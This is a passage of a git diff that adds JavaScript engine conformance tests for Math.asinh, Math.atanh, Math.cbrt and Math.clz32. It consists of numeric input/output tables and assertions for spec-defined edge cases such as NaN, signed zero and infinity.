+ [-446.0499267578125, -6.793579326246197],
+ [-432.4046630859375, -6.762510387544996],
+ [-424.145751953125, -6.743225720989222],
+ [-402.8682861328125, -6.691758395994307],
+ [-402.4595947265625, -6.690743430063694],
+ [-390.1383056640625, -6.6596501292114505],
+ [-387.5355224609375, -6.652956360641761],
+ [-381.0023193359375, -6.635954365364267],
+ [-374.8172607421875, -6.619587562578274],
+ [-374.1033935546875, -6.617681179427804],
+ [-373.01318359375, -6.614762741096185],
+ [-370.0938720703125, -6.60690568753706],
+ [-364.5230712890625, -6.591738907156094],
+ [-361.3756103515625, -6.583066984213974],
+ [-358.1136474609375, -6.573999516974134],
+ [-350.8861083984375, -6.553610904389896],
+ [-350.7060546875, -6.553097634736138],
+ [-345.5616455078125, -6.538320325468202],
+ [-342.386962890625, -6.529090881007076],
+ [-341.9425048828125, -6.527791927233787],
+ [-337.3883056640625, -6.514383886150781],
+ [-328.8133544921875, -6.488639771044976],
+ [-326.1348876953125, -6.480460592697477],
+ [-313.12744140625, -6.439759999015992],
+ [-311.6180419921875, -6.434927968512049],
+ [-303.40478515625, -6.4082177348965725],
+ [-291.9320068359375, -6.369671035834965],
+ [-289.791015625, -6.362310184909175],
+ [-288.07568359375, -6.356373428913315],
+ [-282.76220703125, -6.337756593913614],
+ [-278.9659423828125, -6.32424009706147],
+ [-276.1881103515625, -6.314232650754295],
+ [-269.843994140625, -6.290994606392703],
+ [-256.47509765625, -6.240182555852785],
+ [-248.91619873046875, -6.2102675039793604],
+ [-245.71783447265625, -6.197335184435549],
+ [-244.9049072265625, -6.194021350132335],
+ [-242.49176025390625, -6.184119163536406],
+ [-223.97491455078125, -6.104686221071835],
+ [-223.0770263671875, -6.100669325836893],
+ [-221.50177001953125, -6.093582856519022],
+ [-214.1610107421875, -6.0598807500687935],
+ [-202.9705810546875, -6.0062142965262515],
+ [-200.1683349609375, -5.9923121073369945],
+ [-198.0869140625, -5.981859446096083],
+ [-191.8330078125, -5.9497792165852905],
+ [-183.4495849609375, -5.90509449745879],
+ [-182.9005126953125, -5.902097012275789],
+ [-167.5517578125, -5.8144483910067954],
+ [-162.87738037109375, -5.786154254111214],
+ [-159.6142578125, -5.765917008989405],
+ [-150.01629638671875, -5.703902219845274],
+ [-148.34051513671875, -5.6926689504460395],
+ [-147.23760986328125, -5.685206387751923],
+ [-143.65484619140625, -5.660572815631807],
+ [-138.70599365234375, -5.625516713960633],
+ [-119.55416870117188, -5.476934234171879],
+ [-118.44155883789062, -5.467584665632571],
+ [-112.7041015625, -5.417932675603434],
+ [-111.43020629882812, -5.406565756574079],
+ [-107.77297973632812, -5.373195678988387],
+ [-107.6795654296875, -5.3723285712183735],
+ [-105.091796875, -5.348004040102253],
+ [-101.261474609375, -5.31087758970896],
+ [-95.79150390625, -5.255348419702703],
+ [-91.26885986328125, -5.206986845736275],
+ [-87.33349609375, -5.162914035396619],
+ [-78.23873901367188, -5.052952927749896],
+ [-77.912353515625, -5.048772883924985],
+ [-76.83489990234375, -5.034848487644809],
+ [-61.255645751953125, -4.808269821238499],
+ [-54.41380310058594, -4.689849459883311],
+ [-43.967193603515625, -4.476720236388958],
+ [-42.01084899902344, -4.431216695067421],
+ [-30.609375, -4.114720236218123],
+ [-26.711166381835938, -3.9785790831656023],
+ [-25.241317749023438, -3.9220215830953484],
+ [-14.624359130859375, -3.3770026324620295],
+ [-12.431087493896484, -3.214961448471211],
+ [-10.235607147216797, -3.021397455139021],
+ [-9.41094970703125, -2.937831931335705],
+ [-1.635939121246338, -1.267878515574959],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.305032609228874e-8],
+ [5.9392490925347374e-8, 5.939249092534734e-8],
+ [1.166764889148908e-7, 1.1667648891489053e-7],
+ [2.3799674409019644e-7, 2.379967440901942e-7],
+ [4.684659415943315e-7, 4.6846594159431437e-7],
+ [9.382699772686465e-7, 9.382699772685088e-7],
+ [0.00000110398559627356, 0.0000011039855962733358],
+ [0.0000032917760108830407, 0.000003291776010877096],
+ [0.00000751721381675452, 0.000007517213816683722],
+ [0.000015114666894078255, 0.000015114666893502755],
+ [0.00002986399340443313, 0.00002986399339999406],
+ [0.00003387028118595481, 0.000033870281179478836],
+ [0.00009066011989489198, 0.00009066011977069884],
+ [0.00021949532674625516, 0.00021949532498377364],
+ [0.00043952150736004114, 0.00043952149320897676],
+ [0.0006333151832222939, 0.0006333151408864353],
+ [0.001115123275667429, 0.0011151230445582744],
+ [0.001962467096745968, 0.0019624658370807177],
+ [0.005553754046559334, 0.005553725496786973],
+ [0.008691128343343735, 0.008691018931968294],
+ [0.02993336319923401, 0.02992889492062484],
+ [0.05124260485172272, 0.05122020579778827],
+ [0.11201295256614685, 0.1117800293787828],
+ [0.23480379581451416, 0.23269806521543376],
+ [0.4898730516433716, 0.4721357117742938],
+ [0.7518312931060791, 0.694611571189336],
+ [1.655740737915039, 1.2781607348262256],
+ [3.5958566665649414, 1.9917262343245115],
+ [3.662705421447754, 2.009484184971722],
+ [4.142845153808594, 2.128787712416205],
+ [5.957065582275391, 2.4846967934155475],
+ [10.890350341796875, 3.083125584533294],
+ [27.3714599609375, 4.002981567623351],
+ [29.58606719970703, 4.080736210902826],
+ [30.79753875732422, 4.120845430011113],
+ [38.78157043457031, 4.351258506393416],
+ [46.88148498535156, 4.540883728536112],
+ [47.21551513671875, 4.547981853382592],
+ [47.2205810546875, 4.5480891170767],
+ [49.72361755371094, 4.599728302509061],
+ [61.557464599609375, 4.8131842711857535],
+ [67.82162475585938, 4.910082619934558],
+ [68.82363891601562, 4.924747230639767],
+ [73.75466918945312, 4.993937439635391],
+ [80.95669555664062, 5.087099712053554],
+ [85.26406860351562, 5.1389346970196295],
+ [85.2677001953125, 5.138977285472121],
+ [92.8238525390625, 5.223879832616765],
+ [94.50357055664062, 5.241812789460327],
+ [116.044677734375, 5.447141014648796],
+ [123.77554321289062, 5.511633288238573],
+ [132.3592529296875, 5.578681289305598],
+ [139.7633056640625, 5.633110296634631],
+ [143.9609375, 5.662701238627725],
+ [146.31298828125, 5.678906941005323],
+ [155.0980224609375, 5.737214893086866],
+ [155.47784423828125, 5.739660763047893],
+ [155.74066162109375, 5.741349685869528],
+ [163.60546875, 5.790614371552514],
+ [178.735107421875, 5.879059869096351],
+ [179.70269775390625, 5.884458728291027],
+ [179.81976318359375, 5.885109945587401],
+ [181.3594970703125, 5.893636014368936],
+ [194.82861328125, 5.965274032538233],
+ [195.23284912109375, 5.967346683696556],
+ [199.07666015625, 5.986843466070591],
+ [205.77423095703125, 6.019932686217942],
+ [206.04608154296875, 6.021252909681261],
+ [209.36480712890625, 6.037231102920489],
+ [210.703857421875, 6.043606439928324],
+ [215.2139892578125, 6.06478541011501],
+ [225.83892822265625, 6.112974120371601],
+ [226.95465087890625, 6.117902255760311],
+ [232.79864501953125, 6.1433256889594094],
+ [240.647216796875, 6.176483527820343],
+ [243.1324462890625, 6.186757751007361],
+ [251.26702880859375, 6.219667373726848],
+ [253.72906494140625, 6.229418088083555],
+ [254.6866455078125, 6.233184983047428],
+ [257.2001953125, 6.243005711460192],
+ [257.7401123046875, 6.245102704489327],
+ [261.731201171875, 6.260468857392134],
+ [263.75, 6.268152459140511],
+ [265.5167236328125, 6.2748285545831655],
+ [273.9171142578125, 6.305976070434008],
+ [278.897705078125, 6.32399546069982],
+ [279.167236328125, 6.324961403980197],
+ [292.207275390625, 6.370613506132747],
+ [293.5975341796875, 6.375359978930309],
+ [293.9749755859375, 6.3766447200146],
+ [295.1998291015625, 6.380802563199264],
+ [297.2799072265625, 6.387824152942429],
+ [297.9285888671875, 6.390003820200831],
+ [298.1058349609375, 6.3905985680679],
+ [300.2803955078125, 6.397866642974941],
+ [307.531005859375, 6.421725738171608],
+ [308.1754150390625, 6.423818963102848],
+ [309.7344970703125, 6.428865255911759],
+ [314.2847900390625, 6.443449261058927],
+ [314.7236328125, 6.444844602076255],
+ [320.8406982421875, 6.464094341970107],
+ [321.2459716796875, 6.465356699668166],
+ [321.9031982421875, 6.467400466944125],
+ [323.457763671875, 6.472218114936839],
+ [330.82861328125, 6.4947499213823265],
+ [335.008544921875, 6.507305446835735],
+ [340.7171630859375, 6.524202033435675],
+ [348.4677734375, 6.546694993078936],
+ [349.1292724609375, 6.548591493378012],
+ [372.4288330078125, 6.613194950203132],
+ [376.7574462890625, 6.6247505436339065],
+ [378.4306640625, 6.629181796246806],
+ [390.9031982421875, 6.6616087711302185],
+ [405.7918701171875, 6.698989091751707],
+ [407.3646240234375, 6.702857353572475],
+ [413.3758544921875, 6.717505881986416],
+ [415.7354736328125, 6.723197804327891],
+ [417.193603515625, 6.726699007993023],
+ [420.874755859375, 6.735483889307782],
+ [429.2635498046875, 6.755219602793124],
+ [429.756103515625, 6.756366380816258],
+ [433.9931640625, 6.766177290841293],
+ [434.0106201171875, 6.766217511883346],
+ [440.073974609375, 6.780091308338912],
+ [450.2220458984375, 6.802889310303153],
+ [455.017578125, 6.813484439494547],
+ [457.1668701171875, 6.818196843455478],
+ [457.5068359375, 6.818940201487998],
+ [459.2913818359375, 6.822833193143805],
+ [459.492431640625, 6.82327083544577],
+ [459.743896484375, 6.823817951018],
+ [464.888427734375, 6.834945773756887],
+ [464.96630859375, 6.835113285253827],
+ [467.6949462890625, 6.840964582694129],
+ [468.86767578125, 6.84346890521034],
+ [470.5927734375, 6.847141429556457],
+ [481.109619140625, 6.869243403190376],
+ [487.4595947265625, 6.882355637062964],
+ [488.521484375, 6.884531678915821],
+ [492.8812255859375, 6.89341643293734],
+ [494.0684814453125, 6.895822338701104],
+ [496.4613037109375, 6.900653737167637],
+ [716.154052734375, 7.2670429692740965],
+ [1799.92578125, 8.188647968122073],
+ [3564.845703125, 8.872023251113289],
+ [7139.869140625, 9.566596912986167],
+ [12081.22265625, 10.092554861905608],
+ [22810.2421875, 10.728112113864427],
+ [46598.96875, 11.442480870715618],
+ [108493.375, 12.28759157077177],
+ [153860.8125, 12.636950838344218],
+ [307019.5, 13.327813723030063],
+ [682577.25, 14.126778167009777],
+ [1788919, 15.090269265334971],
+ [3769169, 15.835512291283944],
+ [4327820, 15.973721689554742],
+ [11044024, 16.910547205715446],
+ [21423208, 17.573132558903225],
+ [62828288, 18.649063156437965],
+ [70207360, 18.760110887365155],
+ [154231424, 19.547111966180875],
+ [294509056, 20.193967491567523],
+ [1070557184, 21.484592263156223],
+ [1957922816, 22.088297141021556],
+ [3912507392, 22.780591462699917],
+ [7279233024, 23.401438520318692],
+ [9665245184, 23.684949498080787],
+ [22627590144, 24.5355829820426],
+ [60601991168, 25.520740767599584],
+ [134018236416, 26.31438890085422],
+ [204864946176, 26.73876398039979],
+ [284346286080, 27.06660583008718],
+ [914576637952, 28.234874284944635],
+ [1581915832320, 28.78280496108106]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.asinh(x), y);
+
+assertNear(Math.asinh(1e300), 691.4686750787737);
+assertNear(Math.asinh(1e-300), 1e-300);
+assertNear(Math.asinh(1e-5), 0.000009999999999833334);
+assertNear(Math.asinh(0.3), 0.29567304756342244);
+assertNear(Math.asinh(1), 0.881373587019543);
+
+for (var i = 0; i <= 80; i++) {
+ var x = (i - 40) / 4;
+ assertNear(Math.asinh(Math.sinh(x)), x);
+}
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.asinh(Math.sinh(i)), i);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/ecma_6/Math/asinh-exact.js b/js/src/tests/ecma_6/Math/asinh-exact.js
new file mode 100644
index 000000000..49463d01f
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/asinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.asinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.asinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.asinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.asinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.asinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.asinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/atanh-approx.js b/js/src/tests/ecma_6/Math/atanh-approx.js
new file mode 100644
index 000000000..fcf61892d
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/atanh-approx.js
@@ -0,0 +1,280 @@
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+var sloppy_tolerance = 2; // FIXME
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.atanh(x), y, sloppy_tolerance);
+
+assertNear(Math.atanh(+3 / 5), +Math.log(2), sloppy_tolerance);
+assertNear(Math.atanh(-3 / 5), -Math.log(2), sloppy_tolerance);
+
+for (var i = -1; i < 1; i += 0.05)
+ assertNear(Math.atanh(Math.tanh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/atanh-exact.js b/js/src/tests/ecma_6/Math/atanh-exact.js
new file mode 100644
index 000000000..f49bdb1ac
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/atanh-exact.js
@@ -0,0 +1,35 @@
+// Properties of Math.atanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.atanh(NaN), NaN);
+
+// If x is less than −1, the result is NaN.
+assertEq(Math.atanh(-ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(-Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(-Infinity), NaN);
+
+for (var i = -5; i < -1; i += 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is greater than 1, the result is NaN.
+assertEq(Math.atanh(ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(Infinity), NaN);
+
+for (var i = +5; i > +1; i -= 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is −1, the result is −∞.
+assertEq(Math.atanh(-1), -Infinity);
+
+// If x is +1, the result is +∞.
+assertEq(Math.atanh(+1), Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.atanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.atanh(-0), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/browser.js b/js/src/tests/ecma_6/Math/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/browser.js
diff --git a/js/src/tests/ecma_6/Math/cbrt-approx.js b/js/src/tests/ecma_6/Math/cbrt-approx.js
new file mode 100644
index 000000000..1f54bb5a6
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/cbrt-approx.js
@@ -0,0 +1,17 @@
+assertEq(Math.cbrt(1), 1);
+assertEq(Math.cbrt(-1), -1);
+
+assertNear(Math.cbrt(1e-300), 1e-100);
+assertNear(Math.cbrt(-1e-300), -1e-100);
+
+var cbrt_data = [
+ [ Math.E, 1.3956124250860895 ],
+ [ Math.PI, 1.4645918875615231 ],
+ [ Math.LN2, 0.8849970445005177 ],
+ [ Math.SQRT2, 1.1224620483093728 ]
+];
+
+for (var [x, y] of cbrt_data)
+ assertNear(Math.cbrt(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/cbrt-exact.js b/js/src/tests/ecma_6/Math/cbrt-exact.js
new file mode 100644
index 000000000..e0b7289f0
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/cbrt-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cbrt that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cbrt(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.cbrt(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.cbrt(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cbrt(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.cbrt(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/clz32.js b/js/src/tests/ecma_6/Math/clz32.js
new file mode 100644
index 000000000..006267636
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/clz32.js
@@ -0,0 +1,40 @@
+// Undefined and NaN end up as zero after ToUint32
+assertEq(Math.clz32(), 32);
+assertEq(Math.clz32(NaN), 32);
+assertEq(Math.clz32.call(), 32);
+// 0
+assertEq(Math.clz32(null), 32);
+assertEq(Math.clz32(false), 32);
+// 1
